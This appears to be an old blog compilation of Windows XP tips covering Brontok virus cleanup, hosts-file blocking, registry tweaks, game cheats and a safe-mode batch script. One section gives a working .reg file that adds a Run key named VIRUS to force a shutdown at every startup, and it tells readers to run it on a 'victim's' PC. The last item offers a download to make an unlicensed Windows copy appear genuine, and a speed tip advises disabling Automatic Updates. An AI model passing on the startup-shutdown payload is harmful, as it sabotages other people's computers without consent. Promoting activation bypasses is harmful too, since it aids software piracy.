Restore Taskmanager, Regedit, Folder Options disabled by virus

Let's face it. All of us have been infected by virus before. Even if you have anti-virus installed, you can still be infected by a new or custom virus that is not recognized by your anti-virus. Sometimes after removing the virus completely from our system, you'll face new problems such as you can no longer bring up Windows Task Manager from CTRL+ALT+DEL. You get the error message saying "Task Manager has been disabled by your administrator".
Task Manager has been disabled by your administrator

You think that it's easy to fix this problem by going to Registry Editor but you can't! You get the error message "Registry editing has been disabled by your administrator".
Registry editing has been disabled by your administrator

Folder Options and even Show Hidden Files & Folder is disabled! How frustrating! Don't worry, here's how to restore your Windows Task Manager, Registry Editor, Folder Options and Show hidden files & folders.

This problem is most commonly caused by a virus called "Brontok". Brontok virus will make some changes to the system restrictions in order to hide itself from easy detection and also from easy cleaning.

Here's a free tool called Remove Restrictions Tool (RRT) which is able to re-enables all what the virus had previously disabled, and gives you back the control over your own computer.
Restore windows restrictions

Remove Restrictions Tool is able to re-enable:
- Registry Tools (regedit)
- Ctrl+Alt+Del
- Folder Options
- Show Hidden Files

Small and easy to use. Make sure you boot in to Safe Mode to use Remove Restrictions Tool (RRT). Just click on the buttons and it'll do it's job.

Download Remove Restrictions Tool (RRT)

About Windows Hosts File

There's a Hosts file on every operating system. Yes, Windows, Mac OS, Linux and Unix, all of them has it. For Windows XP, the hosts file is located at WINDOWS\system32\drivers\etc and it's called HOSTS without any extension. You can open the HOSTS file with notepad and you should see something like this.
Windows HOSTS file
The hosts file is a computer file used to store information on where to find a node on a computer network. This file maps hostnames to IP addresses. The hosts file is used as a supplement to (or instead of) the domain name system on networks of varying sizes. This file is (unlike DNS) under the control of the user who is using the computer.

Your HOSTS file may now be empty and useless. I'll show you how you can put it to work and protect your computer from danger.

You can use HostsMan, the free hosts file manager and editor to manage your HOSTS file.
Repair HOSTS file
It has the ability to enable or disable your HOSTS file, edit your HOSTS file and update your host from 4 websites that maintain it. By updating your hosts file, you're able to filter out advertisements. This can save network bandwidth, as well, by eliminating a request to the DNS server normally used for obtaining address information, as well as by not downloading the advertisements.

Before doing anything to your HOSTS file using HostsMan, it is advisable to make a backup first in case you want to restore your original HOSTS file. To make your backup, press CTRL+B simultaneously or go to Hosts menu and select "Manage Backups...". Click on the Create Backup button to backup your current HOSTS file.

To update your HOSTS file, click on the middle button that says "Update Hosts" when you run HostsMan.
Edit HOSTS file
Check MVPS Hosts, hpHosts, Mike's Ad Blocking Hosts, Peter Lowe's AdServers List and click the Update button. It will then check for updates and prompt you if you want to continue to update hosts file. Click Yes to continue. Next, it will download all 4 hosts files, delete duplicates and update your HOSTS file. The next thing you'll notice on HostsMan is the number of Hosts Names that has been increased to tens of thousands.
Update HOSTS list

Please take note that your hosts file can be "hijacked", or used for malicious purposes. For example, adware, computer viruses, trojan horses, or other malware can edit the hosts file (particularly on Windows-based systems) to redirect traffic from a "safe" site (such as Google) to sites hosting content that may be offensive or intrusive to the user or the user’s computer system.

If you're afraid of your hosts file being hijacked, you can use limited accounts for normal everyday use. Not only it can protect your HOSTS file, but all system and program files as well.

Download HostsMan v3.0.42

Show Wallpaper right from logon

To display wallpaper during the logon itself, navigate to the following registry key :

HKEY_USERS\.DEFAULT\Control Panel\Desktop.

In the right pane, change the path to Wallpaper. It will be useful if you are looking for ways to display your company logo during all user log in sessions.

Source: Computer Tricks

Increase Windows XP Shutdown Speed

Windows XP stores a couple of values in its registry which are responsible for determining how long to wait before shutting down (killing) open applications and services once the shutdown command has been given.

By editing these two settings and changing them to lower values, you can considerably decrease the amount of time that Windows XP needs to successfully shut itself down. The first part of this tweak deals with setting the amount of time Windows will take to kill open applications on shutdown.

Open REGEDIT and navigate to 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Highlight the 'WaitToKillAppTimeout' value.
Set it to '1000' (the default should be 20000).
Now highlight the 'HungAppTimeout' value
Set it to '1000' also.

Increase Folder Cache

The default setting for WindowsXP is to cache the Explorer settings for 400 folders.
To increase it:

1. Start Regedit
2. Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam
3. Change the vaule of BagMRU to whatever size you want (hex)

1000 - 3e8
2000 - 7d0
3000 - bb8
4000 - fa0
5000 - 1388

Disable Right Click on Start Menu

DISABLING THE RIGHT CLICK ON START MENU
Normally, when you right button click on the Start button, it allows you to open your programs folder, the Explorer and run Find.
In situations where you don't want to allow users to be able to do this in order to secure your computer.
1.Open RegEdit
2.Search for Desktop
3.This should bring you to HKEY_CLASSES_ROOT\Directory
4.Expand this section
5.Under Shell is Find
6.Delete Find
7.Move down a little in the Registry to Folder
8.Expand this section and remove Explore and Open
Now when you right click on the Start button, nothing should happen.
You can delete only those items that you need.
Note: - On Microsoft keyboards, this also disables the Window-E (for Explorer) and Window-F
(for Find) keys.

Disable My Computer

In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc.
To disable this:
1.Open RegEdit
2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D
3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section
4.Delete the entire section.
Now when you click on My Computer, nothing will happen.
You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions.

Change Windows Icon

You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.

1. Open RegEdit
2. Go to
HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons
3. Add a string value for each Icon you wish to change.
Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.

0= Unknown file type
1= MSN file types
2= Applications Generic
3= Closed Folder
4= Open Folder
5= 5.25" Drive
6= 3.25" Drive
7= Removable Drive
8= Hard Drive
9= NetWork Drive
10= Network Drive Offline
11= CD-ROM Drive
12= RAM Drive
13= Entire Network 14= Network Hub
15= My Computer
16= Printer
17= Network Neighborhood
18= Network Workgroup
19= Start Menu's Program Folders
20= Start Menu's Documents
21= Start Menu's Setting
22= Start Menu's Find
23= Start Menu's Help
24= Start Menu's Run
25= Start Menu's Suspend
26= Start Menu's PC Undock
27= Start Menu's Shutdown 28= Shared
29= Shortcut Arrow
30= (Unknown Overlay)
31= Recycle Bin Empty
32= Recycle Bin Full
33= Dial-up Network
34= DeskTop
35= Control Panel
36= Start Menu's Programs
37= Printer Folder
38= Fonts Folder
39= Taskbar Icon
40= Audio CD

Block a website in your computer

Need to block a website over your computer? Well, you dont need to download a website blocker for your PC.

You can do it by an inbuilt function in your Windows. Lets see how to block a website in few steps.

1. Browse to C:\windows\system32\drivers\etc
2. Now, open hosts in Notepad.
3. After 127.0.0.1, press enter and write this:

127.0.0.2 www.xyz.com localhost

4. Now, save the file.
5. Reboot your PC.
Now try opening the blocked website. It will not open.

Shut Down your friends' computer each time it starts

Disclaimer: This is a pretty dangerous post. Neither the author nor this blog is responsible for anything that happens to your computer due to this.

Put this following text in a .reg file and run it in the victims pc:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"



Don't put it in your computer if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

Best Way to Uninstall

Windows Add/Remove Programs is fine, as far as it goes. Problem is, it doesn't go far enough. It often leaves traces of uninstalled programs in various places on your hard drive, meaning you'll accumulate a lot of junk over time.

This freeware utility does a better job of completely eliminating all traces of the software you want to uninstall. But it does even more:

* Analyze an installation so it can be completely uninstalled (also supports reboots of the computer as the process is split into two: Before and after the installation)
* Find and delete temporary files
* Delete entries from programs that are no longer installed
* Hide Windows Updates
* Hide entries from the list that you are never going to uninstall (drivers etc.) making the list smaller and therefore easier to manage.
* Show more information than available through add/remove
* Automatically find entries from programs that are most likely already uninstalled
* Automatically find entries that are considered "crap-ware"
* (Of course) search the list of installed software

ZSoft Uninstaller 2.3.4

Delete Special Folders

Don't you just hate those stubborn stupid icons that refuse to leave the desktop, like the Recycle Bin icon. I am sure you want to know how you can delete them. You may say, that is really simple, simply right click on the concerned icon and select Delete. Well not exactly, you see when you right click on these special folders( see entire list below)neither the rename nor the delete option does not appear. To delete these folders, there are two methods, the first one is using the System Policy Editor(Poledit in the Windows installation CD)and the second is using the Registry.

Before we go on, you need to understand what CLSID values are. These folders, like the Control Panel, Inbox, The Microsoft Network, Dial Up Networking etc are system folders. Each system folder has a unique CLSID key or the Class ID which is a 16-byte value which identifies an individual object that points to a corresponding key in the registry.

To delete these system Folders from the desktop simply go to the following registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

To delete an icon simply delete the 16 byte CLSID value within "NameSpace". The following are the CLSID values of the most commonly used icons:

My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D}
Desktop: {00021400-0000-0000-C000-0000000000046}
Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D}
Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48}
Fonts: {BD84B380-8CA2-1069-AB1D-08000948534}
Inbox :{00020D76-0000-0000-C000-000000000046}
My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D}
Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D}
Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E}
The Microsoft Network:{00028B00-0000-0000-C000-000000000046}
History: {FF393560-C2A7-11CF-BFF4-444553540000}
Winzip :{E0D79300-84BE-11CE-9641-444553540000}

For example, to delete the Recycle Bin, first note down it's CLSID value, which is: 645FF040-5081-101B-9F08-00AA002F954E. Now go to the Namespace key in the registry and delete the corresponding key.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}

Secure your Desktop Icons and Settings

You can save your desktop settings and secure it from your nerdy friend by playing with the registry. Simply launch the Registry Editor go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer


In the right pane create a new DWORD Value named NoSaveSettings and modify it's value to 1. Refresh and restart for the settings to get saved.

Star Wars Movie in Windows XP

Do u know that Windows XP is having a hidden "Star Wars Movie" inside it???
You should be connected to the NET for using this.

Go to Starts-->Programs-->Run
Type
telnet towel.blinkenlights.nl
And hit enter.........
Enjoy the magic!!!!

Watch movies with MS Paint

Open your favorite movie player and play the move

Hit "Print Screen", keep playing the movie in the player, don't stop it.

Open MsPaint.

Select "Edit>Paste" Or Hit "Ctrl+V"

Presto! You can watch movies in Paint!

But there are no Pause, Next, Previous, Stop etc. buttons

Windows XP Games Cheats

FreeCell

Secret - Instant Win
Instructions - Hold down Ctrl + Shift + F10 during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win.

Secret - Hidden Game Modes
Instructions - In the "Game" menu choose "Select Game". Enter -1 or -2 to activate the hidden game modes.

Minesweeper

Secret - Reveal Mines
Instructions - Minimize or close all running applications. Launch Minesweeper, then type xyzzy. Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a tiny white pixel in the top left corner of your desktop screen. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel.

Pinball

Secret - Extra Balls
Instructions - Type 1max at the start of a new ball to get extra balls.

Secret - Gravity Well
Instructions - Type gmax at the start of a new game to activate the Gravity Well.

Secret - Instant Promotion
Instructions - Type rmax at the start of a new game to go up in ranks.

Secret - Skill Shot
Instructions - Launch the ball partially up the chute past the third yellow light bar so it falls back down to get 75,000 points. There are six yellow light bars that are worth a varying amount of points:

First: 15,000 points
Second: 30,000 points
Third: 75,000 points
Fourth: 30,000 points
Fifth: 15,000 points
Sixth: 7,500 points

Secret - Test Mode
Instructions - Type hidden test at the start of a new ball to activate Test Mode. No notification will be given that this is activated but you can now left-click the mouse button and drag the ball around.

Secret - Unlimited Balls
Instructions - Type bmax at the start of a new ball. No notification will be given that this is activated but when a ball is lost a new ball will appear from the yellow wormhole indefinitely. Once this is activated you will be unable to activate other secrets without restarting the game.

Solitaire

Secret - Instant Win
Instructions - Press Alt + Shift + 2 during game play to instantly win.

Secret - Draw single cards in a Draw Three game
Instructions - Hold down CTRL + ALT + SHIFT while drawing a new card. Instead of drawing three cards you will only draw one.

Use Microsoft Calculator As Web Browser

1. Open your MS Calculator. This is normally found in Start => All Programs => Accessories => Calculator.

2. Open the help-window by pressing the F1 key.

3. Click the top-left corner icon of the help window once (Icon with a Question mark).

4. Select Go to URL-address.

5. Type your address into the avaliable field, but remember to type http://, and not just www. (or equivalent).

6. Have fun!

Warning: Do not close the Calculator as the help windows(your new browser) will also close.

Speed up WIndows XP

XP Pro runs a lot of services by default that are pointless if your not on a corporate network, the following services are ones that I safely disable thereby freeing up memory but check what each one does first to make sure your not using it for something:

Go to Run and type services.msc, right click on each service, properties and choose disable.

Alerter
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Clipbook
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Messenger
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
Smartcard
SSDP Discovery Service
Telnet Themes
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Webclient
Wireless Zero Configuration
WMI Performance Adaptor

Add "Reboot into Safe Mode" into Safe Mode

1. First open the notepad and copy following matter and name this file "Reboot Computer Into
Safe Mode.bat" without quotes,save this file to any (your's choice) location.



-----------------------------------------------------------------------------------------------------------------------------
@Echo Off

:: StartInSafeMode.bat - by [piyush]
:: Sets Windows XP to boot in Safe Mode / Normal Mode

Echo.

Find "default=" C:\boot.ini > default
For /f "skip=2 tokens=2,3* delims== " %%i IN (default) DO @set default=%%i
For /F "tokens=5,6* skip=4 delims=: " %%i IN (C:\boot.ini) DO @set mode=%%k

If "%mode%" == "/safeboot:minimal" (
Echo Safe mode detected.
Goto setnormalmode
) Else (
Echo Normal mode detected.
Goto setsafemode
)
Goto end

:setsafemode
attrib C:\boot.ini -s -r -h
echo> C:\boot.ini [boot loader]
echo>> C:\boot.ini timeout=30
echo>> C:\boot.ini default=%default%
echo>> C:\boot.ini [operating systems]
echo>> C:\boot.ini %default%="Windows XP Safe Mode" /noexecute=alwaysoff /fastdetect /safeboot:minimal
Echo. Your PC is now set to start in Safe Mode.
attrib C:\boot.ini +h +r +s
Goto end

:setnormalmode
attrib C:\boot.ini -s -r -h
echo> C:\boot.ini [boot loader]
echo>> C:\boot.ini timeout=30
echo>> C:\boot.ini default=%default%
echo>> C:\boot.ini [operating systems]
echo>> C:\boot.ini %default%="Microsoft Windows XP Professional" /noexecute=alwaysoff /fastdetect
Echo. Your PC is now set to start normally.
attrib C:\boot.ini +h +r +s
Goto end

:end
Del default
Set mode=
Set default=

Echo.
Echo. Press [X] to close this window.
Pause > nul

Shutdown -r
Exit
-----------------------------------------------------------------------------------------------------------------------------

2. Now suppose your windows xp is located in 'C' drive, then go to C:\Documents and Settings\All Users\Start Menu ,here right click in the empty place & select New >Shortcut, then browse to 'Reboot Computer Into Safe Mode.bat' file (saved in 1 step) then click next here you may give shortcut name as 'Reboot Computer Into Safe Mode' or of your choice.
(YOU MAY DRAG & DROP 'Reboot Computer Into Safe Mode.bat' FILE IF YOU WISH.)

3. Now click start then click just created shortcut, 'Reboot Computer Into Safe Mode', Click 'X' TO reboot into safe mode. That's all! For booting into Normal mode again click start & then 'Reboot Computer Into Safe Mode',Click 'X',now your computer will once again reboot to Normal mode.

Make Windows XP Genuine 100 % Working

This is for all those who want to make their copy of windows genuine. Download this file and follow the instructions. Please put your comments in the chat box.